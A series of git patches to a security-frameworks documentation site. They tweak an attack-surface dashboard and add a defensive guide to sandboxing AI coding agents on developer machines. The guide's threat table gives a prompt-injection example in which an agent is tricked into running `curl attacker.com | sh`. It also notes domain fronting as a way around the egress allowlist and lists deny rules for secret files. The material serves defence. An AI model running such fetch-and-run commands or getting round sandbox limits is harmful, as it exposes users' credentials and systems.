From: solsr Date: Thu, 9 Apr 2026 14:31:11 -0700 Subject: [PATCH 05/20] Address Sara first PR feedback item Co-Authored-By: Claude Opus 4.6 (1M context) --- docs/pages/intro/how-to-navigate-the-website.mdx | 2 ++ vocs.config.tsx | 2 +- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/docs/pages/intro/how-to-navigate-the-website.mdx b/docs/pages/intro/how-to-navigate-the-website.mdx index 5b4205e2..0e9a16b1 100644 --- a/docs/pages/intro/how-to-navigate-the-website.mdx +++ b/docs/pages/intro/how-to-navigate-the-website.mdx @@ -11,6 +11,8 @@ import { ContributeFooter, TagFilter, TagProvider } from '../../../components' Navigating the Security Frameworks by SEAL will be designed, in time, to be intuitive and user-friendly. We currently allow users to filter content by role, but we're not quite there yet. +For a visual entry point, try the [Attack Surface Overview](/attack-surface)—it surfaces +common threats as a clickable map, with links into the relevant frameworks for each one. Any feedback on how to improve the usage of frameworks in the future is appreciated. ## Categories diff --git a/vocs.config.tsx b/vocs.config.tsx index 7159eb20..20e5aae5 100644 --- a/vocs.config.tsx +++ b/vocs.config.tsx @@ -37,10 +37,10 @@ const config = { text: 'Introduction', collapsed: false, items: [ - { text: 'Attack Surface Overview', link: '/attack-surface', dev: true }, { text: 'Introduction to Frameworks', link: '/intro/introduction' }, { text: 'How to Navigate the Website', link: '/intro/how-to-navigate-the-website' }, { text: 'Overview of each Framework', link: '/intro/overview-of-each-framework' }, + { text: 'Attack Surface Overview', link: '/attack-surface', dev: true }, ] }, { From b95c5ed807368112360c5d2a1ef21cb4e767f4dd Mon Sep 17 00:00:00 2001 From: solsr Date: Thu, 9 Apr 2026 14:31:20 -0700 Subject: [PATCH 06/20] Address Sara second PR feedback item Co-Authored-By: Claude Opus 4.6 (1M context) --- .github/workflows/attack-surface-reminder.yml | 85 ------------------- 1 file changed, 85 deletions(-) delete mode 100644 .github/workflows/attack-surface-reminder.yml diff --git a/.github/workflows/attack-surface-reminder.yml b/.github/workflows/attack-surface-reminder.yml deleted file mode 100644 index 3882524d..00000000 --- a/.github/workflows/attack-surface-reminder.yml +++ /dev/null @@ -1,85 +0,0 @@ -name: Attack Surface Data Reminder - -on: - pull_request_target: - types: [opened, synchronize] - branches: - - develop - -permissions: - contents: read - pull-requests: write - -jobs: - threat-vector-reminder: - runs-on: ubuntu-latest - steps: - - name: Check for threat vector changes - uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.1.0 - with: - script: | - const { owner, repo } = context.repo; - const pull_number = context.payload.pull_request.number; - const MARKER = ''; - const THREAT_DATA_FILE = 'components/attack-surface/threatData.ts'; - - // Get files changed in this PR - const { data: prFiles } = await github.rest.pulls.listFiles({ - owner, - repo, - pull_number, - per_page: 100 - }); - - const threatDataChanged = prFiles.find(f => f.filename === THREAT_DATA_FILE); - - if (!threatDataChanged) { - console.log('threatData.ts not modified. Skipping.'); - return; - } - - // Check if we already posted a reminder for this PR - const { data: comments } = await github.rest.issues.listComments({ - owner, - repo, - issue_number: pull_number, - per_page: 100 - }); - - const existingReminder = comments.find(c => - c.body.includes(MARKER) && - c.user.login === 'github-actions[bot]' - ); - - if (existingReminder) { - console.log('Reminder already posted. Skipping.'); - return; - } - - const body = `### Attack Surface Configuration Reminder - ${MARKER} - - This PR modifies the attack surface threat data (\`${THREAT_DATA_FILE}\`). - - If you are adding a new threat vector, please ensure: - - [ ] The vector has all required fields: \`id\`, \`title\`, \`subtitle\`, \`category\`, \`severity\`, \`description\`, \`attackTags\`, \`primaryLink\`, \`primaryLinkLabel\`, and \`frameworkLinks\` - - [ ] The \`primaryLink\` points to a valid, existing framework page - - [ ] The \`attackTags\` array contains 3-4 short example attack types - - [ ] The \`category\` is one of: \`smart-contract\`, \`operational\`, \`human\`, \`infrastructure\`, \`supply-chain\`, \`governance\` - - [ ] The \`severity\` is one of: \`critical\`, \`high\`, \`medium\` - - If you are modifying an existing vector, verify that all links still resolve correctly. - - See the [Attack Surface Overview page](/attack-surface) on the preview deployment to verify the radial map renders correctly. - - --- - This is an automated reminder. If this PR doesn't affect threat vectors, you can ignore this message.`; - - await github.rest.issues.createComment({ - owner, - repo, - issue_number: pull_number, - body - }); - - console.log('Posted attack surface reminder comment.'); From 2a1bb2f5587ef437a3399300a2acaec57f82b1d3 Mon Sep 17 00:00:00 2001 From: solsr Date: Thu, 9 Apr 2026 14:35:49 -0700 Subject: [PATCH 07/20] Smooth-scroll detail card into view when a threat node is clicked Clicking a node on the radial map showed the detail card below the map, but on typical viewports the card landed below the fold, so it wasn't obvious anything had happened. Use scrollIntoView with block: "nearest" on the card when it mounts or the selected vector changes, respecting prefers-reduced-motion. Third PR feedback item addressed. Co-Authored-By: Claude Opus 4.6 (1M context) --- .../attack-surface/AttackSurfaceDashboard.tsx | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/components/attack-surface/AttackSurfaceDashboard.tsx b/components/attack-surface/AttackSurfaceDashboard.tsx index bc62050d..e45b42dd 100644 --- a/components/attack-surface/AttackSurfaceDashboard.tsx +++ b/components/attack-surface/AttackSurfaceDashboard.tsx @@ -1,4 +1,4 @@ -import { useState, useCallback, useEffect, useMemo } from "react"; +import { useState, useCallback, useEffect, useMemo, useRef } from "react"; import { threatVectors, severityMeta, type PostureState, type ThreatVector } from "./threatData"; import "./AttackSurface.css"; @@ -282,9 +282,19 @@ function DetailCard({ onClose: () => void; }) { const sev = severityMeta[vector.severity]; + const cardRef = useRef(null); + + useEffect(() => { + if (!cardRef.current) return; + const prefersReducedMotion = window.matchMedia("(prefers-reduced-motion: reduce)").matches; + cardRef.current.scrollIntoView({ + behavior: prefersReducedMotion ? "auto" : "smooth", + block: "nearest", + }); + }, [vector.id]); return ( -
+

{vector.title}

From 71b8f372dfe36102c2a9b4322dc4506935fb6a90 Mon Sep 17 00:00:00 2001 From: solsr Date: Mon, 13 Apr 2026 15:16:13 -0700 Subject: [PATCH 08/20] Move attack-surface.mdx into intro/ folder and update links Moved the page to sit alongside the other Introduction pages. Updated sidebar link, internal cross-link in how-to-navigate, and component import path to match the new location. Co-Authored-By: Claude Opus 4.6 (1M context) --- docs/pages/{ => intro}/attack-surface.mdx | 2 +- docs/pages/intro/how-to-navigate-the-website.mdx | 2 +- vocs.config.tsx | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) rename docs/pages/{ => intro}/attack-surface.mdx (88%) diff --git a/docs/pages/attack-surface.mdx b/docs/pages/intro/attack-surface.mdx similarity index 88% rename from docs/pages/attack-surface.mdx rename to docs/pages/intro/attack-surface.mdx index 04de333b..2f5e2a19 100644 --- a/docs/pages/attack-surface.mdx +++ b/docs/pages/intro/attack-surface.mdx @@ -6,7 +6,7 @@ tags: - Operations & Strategy --- -import { AttackSurfaceDashboard } from '../../components' +import { AttackSurfaceDashboard } from '../../../components' # Attack Surface Overview diff --git a/docs/pages/intro/how-to-navigate-the-website.mdx b/docs/pages/intro/how-to-navigate-the-website.mdx index 0e9a16b1..a934cdb2 100644 --- a/docs/pages/intro/how-to-navigate-the-website.mdx +++ b/docs/pages/intro/how-to-navigate-the-website.mdx @@ -11,7 +11,7 @@ import { ContributeFooter, TagFilter, TagProvider } from '../../../components' Navigating the Security Frameworks by SEAL will be designed, in time, to be intuitive and user-friendly. We currently allow users to filter content by role, but we're not quite there yet. -For a visual entry point, try the [Attack Surface Overview](/attack-surface)—it surfaces +For a visual entry point, try the [Attack Surface Overview](/intro/attack-surface)—it surfaces common threats as a clickable map, with links into the relevant frameworks for each one. Any feedback on how to improve the usage of frameworks in the future is appreciated. diff --git a/vocs.config.tsx b/vocs.config.tsx index 20e5aae5..73ee704e 100644 --- a/vocs.config.tsx +++ b/vocs.config.tsx @@ -40,7 +40,7 @@ const config = { { text: 'Introduction to Frameworks', link: '/intro/introduction' }, { text: 'How to Navigate the Website', link: '/intro/how-to-navigate-the-website' }, { text: 'Overview of each Framework', link: '/intro/overview-of-each-framework' }, - { text: 'Attack Surface Overview', link: '/attack-surface', dev: true }, + { text: 'Attack Surface Overview', link: '/intro/attack-surface', dev: true }, ] }, { From 9fafb9a6dd783f2b653eab09e41a35b29223b2ca Mon Sep 17 00:00:00 2001 From: solsr Date: Mon, 13 Apr 2026 15:16:21 -0700 Subject: [PATCH 09/20] Use react-router Link for framework CTA to avoid full page reload The detail card's framework link used a plain tag which caused a full page reload. Switched to react-router-dom's for client-side navigation, consistent with the rest of the site. Co-Authored-By: Claude Opus 4.6 (1M context) --- components/attack-surface/AttackSurfaceDashboard.tsx | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/components/attack-surface/AttackSurfaceDashboard.tsx b/components/attack-surface/AttackSurfaceDashboard.tsx index e45b42dd..bc47ece6 100644 --- a/components/attack-surface/AttackSurfaceDashboard.tsx +++ b/components/attack-surface/AttackSurfaceDashboard.tsx @@ -1,4 +1,5 @@ import { useState, useCallback, useEffect, useMemo, useRef } from "react"; +import { Link } from "react-router-dom"; import { threatVectors, severityMeta, type PostureState, type ThreatVector } from "./threatData"; import "./AttackSurface.css"; @@ -330,12 +331,12 @@ function DetailCard({ {tag} ))}
- {vector.primaryLinkLabel} → - +
); From 7430fd0da326f212a19132dc0390b8cd9d22bd4a Mon Sep 17 00:00:00 2001 From: solsr Date: Mon, 13 Apr 2026 15:24:11 -0700 Subject: [PATCH 10/20] Add standard page components to Attack Surface Overview Adds TagProvider, TagFilter, TagList, and ContributeFooter to match the pattern used by all other Introduction pages. Co-Authored-By: Claude Opus 4.6 (1M context) --- docs/pages/intro/attack-surface.mdx | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/docs/pages/intro/attack-surface.mdx b/docs/pages/intro/attack-surface.mdx index 2f5e2a19..889fca0d 100644 --- a/docs/pages/intro/attack-surface.mdx +++ b/docs/pages/intro/attack-surface.mdx @@ -7,9 +7,20 @@ tags: --- import { AttackSurfaceDashboard } from '../../../components' +import { TagList, TagProvider, TagFilter, ContributeFooter } from '../../../components' + + + # Attack Surface Overview + + See where your protocol is most exposed. Click the checkbox on each vector to track your security posture. Your progress is saved locally in your browser. + +--- + + + From 2f76505284a0956d34bc7e5d2f037291fbaedb6c Mon Sep 17 00:00:00 2001 From: Elliot Date: Tue, 5 May 2026 17:45:20 -0700 Subject: [PATCH 11/20] developer machine sandboxing Signed-off-by: Elliot --- .../developer-machine-sandboxing.mdx | 163 ++++++++++++++++++ 1 file changed, 163 insertions(+) create mode 100644 docs/pages/devsecops/isolation/developer-machine-sandboxing.mdx diff --git a/docs/pages/devsecops/isolation/developer-machine-sandboxing.mdx b/docs/pages/devsecops/isolation/developer-machine-sandboxing.mdx new file mode 100644 index 00000000..91781752 --- /dev/null +++ b/docs/pages/devsecops/isolation/developer-machine-sandboxing.mdx @@ -0,0 +1,163 @@ +--- +title: "Developer Machine Sandboxing | SEAL" +description: "Practical sandboxing configurations for Claude Code, Codex CLI, and VS Code dev containers to constrain blast radius on developer machines." +tags: + - Engineer/Developer + - Security Specialist + - DevOps +contributors: + - role: wrote + users: [elliot] +--- + +import { TagList, AttributionList, TagProvider, TagFilter, ContributeFooter } from '../../../../components' + + + + +# Developer Machine Sandboxing + + + + +> 🔑 **Key Takeaway**: Sandboxing on your developer machine limits the blast radius when a tool goes wrong, whether that's prompt injection, a malicious dependency, or an LLM mistake. Imperfect containment is much better than no containment, and spending 5 minutes configuring containers can prevent company ending mistakes. + +AI coding agents run shell commands directly on your machine. A prompt injection or a malicious package could read `~/.ssh`, modify `.bashrc`, or silently steal secrets. Unlike CI runners, developer machines aren't ephemeral: they carry years of credentials, tokens, and config. The goal of sandboxing is making sure the blast radius of mistakes stays contained. + +## Threats + +| Type | Example | Mitigated by | +| --- | --- | --- | +| Prompt injection | Malicious file content tricks agent into running `curl attacker.com \| sh` | Sandboxing, shell command restrictions | +| Malicious dependency | npm package exfiltrates env vars on install | Deny-by-default egress, blocked home directory reads | +| LLM mistake | Agent overwrites `~/.zshrc` or deletes project files | Filesystem write restrictions scoped to working directory | + +## Claude Code: native sandbox mode + +Claude Code has a native sandboxed bash tool backed by OS-level primitives: Seatbelt on macOS, bubblewrap on Linux and WSL2. The sandbox applies to every subprocess Claude invokes (npm, kubectl, terraform, git), not just Claude's own file tools. + +**Step 1: install prerequisites (Linux/WSL2 only, macOS has Seatbelt built in)**: + +```bash +sudo apt-get install bubblewrap socat # Ubuntu/Debian +sudo dnf install bubblewrap socat # Fedora +``` + +**Step 2: enable sandboxing**: + +Run `/sandbox` inside Claude Code. You'll get a menu with two modes: + +- **Auto-allow**: sandboxed commands run without per-command prompts. Anything that can't run inside the sandbox (e.g. a command reaching a non-allowed host) falls back to the normal approval flow. This mode reduces approval fatigue. +- **Regular permissions**: every bash command still goes through the standard approval flow, but OS-level filesystem and network restrictions are still enforced. This adds more friction, but results in better system security properties. + +Start with auto-allow. You can tighten it per-project via settings. + +**Step 3: harden the project config** (`.claude/settings.json`): + +```json +{ + "sandbox": { + "enabled": true, + "failIfUnavailable": true, + "allowUnsandboxedCommands": false, + "filesystem": { + "denyRead": ["~/"], + "allowRead": ["."], + "allowWrite": ["/tmp/build"] + }, + "network": { + "allowedDomains": [ + "registry.npmjs.org", + "api.github.com", + "crates.io" + ] + } + }, + "permissions": { + "deny": ["Read(.env)"] + } +} +``` + +- `failIfUnavailable: true`: hard-fails if the sandbox can't start, rather than silently running without isolation +- `allowUnsandboxedCommands: false`: closes the built-in escape hatch that lets Claude retry a failing command outside the sandbox +- `denyRead: ["~/"]`: blocks reads from your home directory; SSH keys and shell history are invisible to the agent +- `allowRead: ["."]`: restores read access to the current project root (inside the denied region) +- `allowWrite: ["/tmp/build"]`: if a build tool needs to write outside the working directory, grant it here specifically +- `allowedDomains`: explicit egress allowlist; omit anything you don't actively need +- `permissions.deny`: blocks Claude's file tools from reading specific sensitive paths. Note that `allowRead` takes precedence over `denyRead` within the sandbox, so project-root secrets like `.env` need to be excluded here instead + +### Known limitations + +- The proxy enforces the allowlist by hostname; it does not terminate or inspect TLS. Domain fronting can bypass the allowlist. If that's in your threat model, run a custom TLS-terminating proxy instead. +- `allowUnixSockets` can expose the Docker socket and grant effective host root. Don't use it unless you know what you're doing. +- Adding broad domains like `github.com` to the allowlist opens exfiltration paths. +- There is no command allowlist at the project level. Shell tools like `curl` can still run inside the sandbox as long as they target an allowed domain. `allowedDomains` constrains where commands can reach, not which commands can run. + +## Codex CLI: native sandbox mode + +Codex CLI has native sandboxing built in, using the same OS primitives. In the CLI, use `/permissions` to switch modes during a session. The safest practical default for daily development is `workspace-write` combined with `approval_policy = "on-request"`: Codex can read and write within your project directory, but pauses for approval before going beyond that boundary. Avoid `danger-full-access` since it removes filesystem and network boundaries entirely and should not be used for normal work. + +To make this the persistent default, add the following to `~/.codex/config.toml`: + +```toml +[sandbox] +sandbox_mode = "workspace-write" +approval_policy = "on-request" + +[sandbox.sandbox_workspace_write] +writable_roots = ["./"] + +[permissions.default.network] +# deny all by default; add specific domains as needed +domains = {} +``` + +## VS Code dev containers + +Dev containers run VS Code and every extension installed into it (including AI coding agents) inside a Docker container. The container only sees what you explicitly mount. SSH keys, AWS credentials, and anything else under `~` stays on the host. + +**Baseline `.devcontainer/devcontainer.json`**: + +```json +{ + "image": "mcr.microsoft.com/devcontainers/base:ubuntu", + "workspaceMount": "source=${localWorkspaceFolder},target=/workspace,type=bind", + "workspaceFolder": "/workspace", + "runArgs": [ + "--cap-drop=ALL", + "--security-opt=no-new-privileges" + ], + "remoteUser": "vscode" +} +``` + +- `--network=none`: only add this flag for a box to quarantine it from the internet. Cuts all egress and outbound traffic +- `--cap-drop=ALL`: drops Linux capabilities (no raw sockets, no privilege escalation paths) +- `--security-opt=no-new-privileges`: prevents setuid/setgid escalation inside the container +- Single `workspaceMount`: the host filesystem outside the project directory is not visible +- Container memory can also be restricted to prevent software running inside a container from crashing the computer. + +### Limitations + +Dev containers aren't designed as security sandboxes; convenience shortcuts dominate the defaults. Three things to fix: + +- Default base images ship with passwordless `sudo`. Disable it, or set `remoteUser` to a user without sudo access. +- Never mount the Docker socket (`/var/run/docker.sock`). It gives the container root-equivalent access to the host. +- `--network=none` breaks package installs. A custom Docker network with an egress proxy is more practical for daily development. + +Trail of Bits has published a hardened devcontainer at [trailofbits/claude-code-devcontainer](https://github.com/trailofbits/claude-code-devcontainer), built for running Claude Code and VSCode Containers against untrusted codebases in security audits. It's a useful starting point if you want a well-considered baseline rather than building from scratch. + +## References + +- [Claude Code sandboxing](https://code.claude.com/docs/en/sandboxing) +- [Codex CLI sandboxing](https://developers.openai.com/codex/concepts/sandboxing) +- [Trail of Bits claude-code-devcontainer](https://github.com/trailofbits/claude-code-devcontainer) +- [VS Code: Developing inside a Container](https://code.visualstudio.com/docs/devcontainers/containers) +- [NIST SP 800-190, *Application Container Security Guide*](https://csrc.nist.gov/pubs/sp/800/190/final) +- [Docker, *Docker Engine Security*](https://docs.docker.com/engine/security/) + +--- + + + From 36f95297b395c5c903eed5bb9b65fdc8ecb7c50a Mon Sep 17 00:00:00 2001 From: Elliot Date: Tue, 5 May 2026 17:46:40 -0700 Subject: [PATCH 12/20] add dev machine sandboxing to vocs config Signed-off-by: Elliot --- vocs.config.tsx | 1 + 1 file changed, 1 insertion(+) diff --git a/vocs.config.tsx b/vocs.config.tsx index fa184d7c..d6cf1114 100644 --- a/vocs.config.tsx +++ b/vocs.config.tsx @@ -98,6 +98,7 @@ const config = { { text: 'Network & Resource Isolation', link: '/devsecops/isolation/network-and-resource-isolation' }, { text: 'Sandboxing & Policy Enforcement', link: '/devsecops/isolation/sandboxing-and-policy-enforcement' }, { text: 'Execution Sandboxing: A Practical Guide', link: '/devsecops/isolation/execution-sandboxing-practical-guide' }, + { text: 'Developer Machine Sandboxing', link: '/devsecops/isolation/developer-machine-sandboxing' }, ] }, { text: 'Code Signing', link: '/devsecops/code-signing' }, From b0611f08872b4b639f8c85bd1404037e3a5664bb Mon Sep 17 00:00:00 2001 From: Elliot Date: Tue, 5 May 2026 17:49:51 -0700 Subject: [PATCH 13/20] add dev machine sandboxing to section index --- docs/pages/devsecops/overview.mdx | 1 + 1 file changed, 1 insertion(+) diff --git a/docs/pages/devsecops/overview.mdx b/docs/pages/devsecops/overview.mdx index 0a75f5e5..b81dbe9d 100644 --- a/docs/pages/devsecops/overview.mdx +++ b/docs/pages/devsecops/overview.mdx @@ -51,6 +51,7 @@ Some of the key areas to consider are: - [Governance Proposal Security Across the SDLC](/devsecops/governance-proposal-security) - Threat-model guide to smart contract upgrade governance across the proposal lifecycle - [Integrated Development Environments](/devsecops/integrated-development-environments) - Secure your development environment +- [Developer Machine Sandboxing](/devsecops/isolation/developer-machine-sandboxing) - Sandbox configurations for Claude Code, Codex CLI, and VS Code dev containers - [Isolation & Sandboxing](/devsecops/isolation) - Containment patterns for CI/CD, tool execution, and build pipelines - [Repository Hardening](/devsecops/repository-hardening) - Protect your code repositories - [Security Testing](/devsecops/security-testing) - Integrate security testing into your development workflow From 4c49215060556a1e4e6d83a19599771e2d827b6c Mon Sep 17 00:00:00 2001 From: Elliot Date: Tue, 5 May 2026 17:51:48 -0700 Subject: [PATCH 14/20] add dev machine sandobxing to fetched tags Signed-off-by: Elliot --- utils/fetched-tags.json | 34 +++++++++++++++++++++++++++++++++- 1 file changed, 33 insertions(+), 1 deletion(-) diff --git a/utils/fetched-tags.json b/utils/fetched-tags.json index 87786e21..019f46e1 100644 --- a/utils/fetched-tags.json +++ b/utils/fetched-tags.json @@ -187,6 +187,12 @@ "Operations & Strategy", "Smart Contracts" ], + "/devsecops/governance-proposal-security": [ + "Engineer/Developer", + "Operations & Strategy", + "Smart Contracts", + "DevOps" + ], "/devsecops/integrated-development-environments": [ "Engineer/Developer", "Security Specialist", @@ -197,6 +203,11 @@ "Security Specialist", "Operations & Strategy" ], + "/devsecops/isolation/developer-machine-sandboxing": [ + "Engineer/Developer", + "Security Specialist", + "DevOps" + ], "/devsecops/isolation/execution-sandboxing-practical-guide": [ "Engineer/Developer", "Security Specialist", @@ -1009,7 +1020,27 @@ "Engineer/Developer", "Security Specialist" ], - "/privacy/vpn-services": [ + "/privacy/vpns/attack-surfaces-public-networks": [ + "Engineer/Developer", + "Security Specialist" + ], + "/privacy/vpns/https-vs-vpn": [ + "Engineer/Developer", + "Security Specialist" + ], + "/privacy/vpns/overview": [ + "Engineer/Developer", + "Security Specialist" + ], + "/privacy/vpns/vpn-limitations": [ + "Engineer/Developer", + "Security Specialist" + ], + "/privacy/vpns/vpn-providers-and-tools": [ + "Engineer/Developer", + "Security Specialist" + ], + "/privacy/vpns/when-to-use-vpn": [ "Engineer/Developer", "Security Specialist" ], @@ -1330,6 +1361,7 @@ "OpSec Core Concepts": "opsec", "While Traveling": "opsec", "Privacy": "privacy", + "VPN Services": "privacy", "Safe Harbor": "safe-harbor", "Secure Software Development": "secure-software-development", "Security Automation": "security-automation", From 723125a9ecb071b4ae96319f6b40d82584ab011e Mon Sep 17 00:00:00 2001 From: Elliot Date: Tue, 5 May 2026 17:53:52 -0700 Subject: [PATCH 15/20] update built files Signed-off-by: Elliot --- docs/pages/devsecops/index.mdx | 3 ++- docs/pages/devsecops/isolation/index.mdx | 1 + 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/docs/pages/devsecops/index.mdx b/docs/pages/devsecops/index.mdx index 10d1f524..77399cac 100644 --- a/docs/pages/devsecops/index.mdx +++ b/docs/pages/devsecops/index.mdx @@ -14,7 +14,8 @@ title: "Devsecops" - [DevSecOps](/devsecops/overview) - [Implementing Code Signing](/devsecops/code-signing) - [Securing CI/CD Pipelines](/devsecops/continuous-integration-continuous-deployment) -- [Data Security & Contract Upgrade Checklist](/devsecops/data-security-upgrade-checklist) +- [Data Security Checklist](/devsecops/data-security-upgrade-checklist) +- [Governance Proposal Security Across the SDLC](/devsecops/governance-proposal-security) - [Securing Development Environments](/devsecops/integrated-development-environments) - [Repository Hardening](/devsecops/repository-hardening) - [Security Testing](/devsecops/security-testing) diff --git a/docs/pages/devsecops/isolation/index.mdx b/docs/pages/devsecops/isolation/index.mdx index 1cf788de..c9e5147b 100644 --- a/docs/pages/devsecops/isolation/index.mdx +++ b/docs/pages/devsecops/isolation/index.mdx @@ -18,3 +18,4 @@ title: "Isolation" - [Network & Resource Isolation](/devsecops/isolation/network-and-resource-isolation) - [Sandboxing & Policy Enforcement](/devsecops/isolation/sandboxing-and-policy-enforcement) - [Execution Sandboxing: A Practical Guide](/devsecops/isolation/execution-sandboxing-practical-guide) +- [Developer Machine Sandboxing](/devsecops/isolation/developer-machine-sandboxing) From a0514f4bc6c979259bc37878892c564cb89f79b2 Mon Sep 17 00:00:00 2001 From: Elliot Date: Wed, 6 May 2026 14:02:24 -0700 Subject: [PATCH 16/20] address pr feedback Signed-off-by: Elliot --- .../isolation/developer-machine-sandboxing.mdx | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/docs/pages/devsecops/isolation/developer-machine-sandboxing.mdx b/docs/pages/devsecops/isolation/developer-machine-sandboxing.mdx index 91781752..c874686a 100644 --- a/docs/pages/devsecops/isolation/developer-machine-sandboxing.mdx +++ b/docs/pages/devsecops/isolation/developer-machine-sandboxing.mdx @@ -7,7 +7,7 @@ tags: - DevOps contributors: - role: wrote - users: [elliot] + users: [ElliotFriedman] --- import { TagList, AttributionList, TagProvider, TagFilter, ContributeFooter } from '../../../../components' @@ -20,7 +20,7 @@ import { TagList, AttributionList, TagProvider, TagFilter, ContributeFooter } fr -> 🔑 **Key Takeaway**: Sandboxing on your developer machine limits the blast radius when a tool goes wrong, whether that's prompt injection, a malicious dependency, or an LLM mistake. Imperfect containment is much better than no containment, and spending 5 minutes configuring containers can prevent company ending mistakes. +> 🔑 **Key Takeaway**: Sandboxing on your developer machine limits the blast radius when a tool goes wrong, whether that's prompt injection, a malicious dependency, or an LLM mistake. Imperfect containment is much better than no containment, and spending 5 minutes configuring containers can prevent company-ending mistakes. AI coding agents run shell commands directly on your machine. A prompt injection or a malicious package could read `~/.ssh`, modify `.bashrc`, or silently steal secrets. Unlike CI runners, developer machines aren't ephemeral: they carry years of credentials, tokens, and config. The goal of sandboxing is making sure the blast radius of mistakes stays contained. @@ -61,7 +61,7 @@ Start with auto-allow. You can tighten it per-project via settings. "failIfUnavailable": true, "allowUnsandboxedCommands": false, "filesystem": { - "denyRead": ["~/"], + "denyRead": ["~/.ssh", "~/.aws"], "allowRead": ["."], "allowWrite": ["/tmp/build"] }, @@ -74,18 +74,18 @@ Start with auto-allow. You can tighten it per-project via settings. } }, "permissions": { - "deny": ["Read(.env)"] + "deny": ["Read(.env)", "Bash(cat .env)"] } } ``` - `failIfUnavailable: true`: hard-fails if the sandbox can't start, rather than silently running without isolation - `allowUnsandboxedCommands: false`: closes the built-in escape hatch that lets Claude retry a failing command outside the sandbox -- `denyRead: ["~/"]`: blocks reads from your home directory; SSH keys and shell history are invisible to the agent +- `denyRead: ["~/.ssh", "~/.aws"]`: blocks reads from sensitive paths outside the project root, such as SSH keys and AWS credentials - `allowRead: ["."]`: restores read access to the current project root (inside the denied region) - `allowWrite: ["/tmp/build"]`: if a build tool needs to write outside the working directory, grant it here specifically - `allowedDomains`: explicit egress allowlist; omit anything you don't actively need -- `permissions.deny`: blocks Claude's file tools from reading specific sensitive paths. Note that `allowRead` takes precedence over `denyRead` within the sandbox, so project-root secrets like `.env` need to be excluded here instead +- `permissions.deny`: protects against two different attack vectors. `Read(.env)` blocks Claude's built-in file tools (which use the permission system directly, bypassing the sandbox). `Bash(cat .env)` blocks bash subprocesses from accessing `.env` (these go through the sandbox layer). Note that `allowRead` takes precedence over `denyRead` within the sandbox, so `denyRead` only effectively blocks paths outside the project root, while `permissions.deny` is needed for in-tree secrets. Both rules are fragile: renaming the file or using alternate commands can bypass them, as noted in the limitations section below ### Known limitations From a17a6da061ddc780a447b65714d63dff61c5ec29 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Mat=C3=ADas=20Aereal=20Ae=C3=B3n?= <388605+mattaereal@users.noreply.github.com> Date: Thu, 7 May 2026 16:34:53 -0300 Subject: [PATCH 17/20] Add link to Developer Machine Sandboxing --- docs/pages/ai-security/overview.mdx | 1 + 1 file changed, 1 insertion(+) diff --git a/docs/pages/ai-security/overview.mdx b/docs/pages/ai-security/overview.mdx index 9909c546..5941551b 100644 --- a/docs/pages/ai-security/overview.mdx +++ b/docs/pages/ai-security/overview.mdx @@ -126,6 +126,7 @@ risk tolerance. - [Data Exfiltration via Generative Systems](/ai-security/data-exfiltration-via-generative-systems) - [Execution-Path Enforcement](/ai-security/execution-path-enforcement) - [DevSecOps Isolation & Sandboxing (Brief Reference)](/ai-security/devsecops-isolation-sandboxing-reference) +- [Developer Machine Sandboxing](/devsecops/isolation/developer-machine-sandboxing) --- From 894235bbfada0ae727067226199e9cb47c916b41 Mon Sep 17 00:00:00 2001 From: solsr Date: Mon, 25 May 2026 15:50:28 -0700 Subject: [PATCH 18/20] add opencode section --- .../developer-machine-sandboxing.mdx | 40 +++++++++++++++++++ 1 file changed, 40 insertions(+) diff --git a/docs/pages/devsecops/isolation/developer-machine-sandboxing.mdx b/docs/pages/devsecops/isolation/developer-machine-sandboxing.mdx index c874686a..5e0b0ee9 100644 --- a/docs/pages/devsecops/isolation/developer-machine-sandboxing.mdx +++ b/docs/pages/devsecops/isolation/developer-machine-sandboxing.mdx @@ -113,6 +113,44 @@ writable_roots = ["./"] domains = {} ``` +## OpenCode: permission gating plus a Docker sandbox + +Unlike Claude Code and Codex, OpenCode has no native OS-level sandbox. Its built-in controls are a *permission* system, allow / ask / deny per tool, which gates what the agent does but does not isolate it. Treat permissions as a guardrail and run OpenCode inside a docker container to create a boundary. + +**Step 1: gate tools with `permission` in `opencode.json`**: + +The config lives in your project root (the key is `permission`, singular) and is safe to commit. Each tool, including `bash`, `edit`, `read`, `webfetch`, and `external_directory`, takes `allow`, `ask`, or `deny`, with `*`/`?` wildcard patterns where the last match wins. + +```json +{ + "$schema": "https://opencode.ai/config.json", + "permission": { + "bash": { "*": "ask", "git status*": "allow", "rm *": "deny" }, + "edit": { "*": "deny", "src/**": "allow" }, + "external_directory": "deny", + "webfetch": "ask" + } +} +``` + +This is the analog of Codex's approval policy, not of its sandbox. It prompts before risky actions, but a command you approve still runs with full host access; it cannot stop an approved command from reading `~/.ssh`. + +**Step 2: run OpenCode inside a container**: + +Because there is no native sandbox, isolation comes from wrapping OpenCode in Docker. Docker's agent sandbox CLI (`sbx`) runs it in a container that does not inherit your host user config and only sees the project directory, with provider credentials injected through a proxy rather than mounted: + +```bash +sbx run opencode ~/my-project +``` + +For a more controllable baseline, run OpenCode inside the hardened dev container described in the next section (`--cap-drop=ALL`, `--security-opt=no-new-privileges`, a single `workspaceMount`, and no Docker socket). Either way the container is the boundary, and the `permission` rules ride along inside it as a second layer. + +### Limitations + +- The `permission` system is a UX gate. On its own it provides no filesystem or network boundary; an approved command has full host access. +- Container isolation inherits the usual Docker footguns covered in the VS Code dev containers section below: passwordless `sudo` in default images, Docker socket mounts, and no egress filtering unless explicitly added. +- Remote-backend plugins (for example, Daytona) offer stronger isolation by executing in a cloud sandbox, but they shift the trust boundary to a third party and turn the provider API key on your machine into a high-value target. They also sync over git and can overwrite local branches. + ## VS Code dev containers Dev containers run VS Code and every extension installed into it (including AI coding agents) inside a Docker container. The container only sees what you explicitly mount. SSH keys, AWS credentials, and anything else under `~` stays on the host. @@ -152,6 +190,8 @@ Trail of Bits has published a hardened devcontainer at [trailofbits/claude-code- - [Claude Code sandboxing](https://code.claude.com/docs/en/sandboxing) - [Codex CLI sandboxing](https://developers.openai.com/codex/concepts/sandboxing) +- 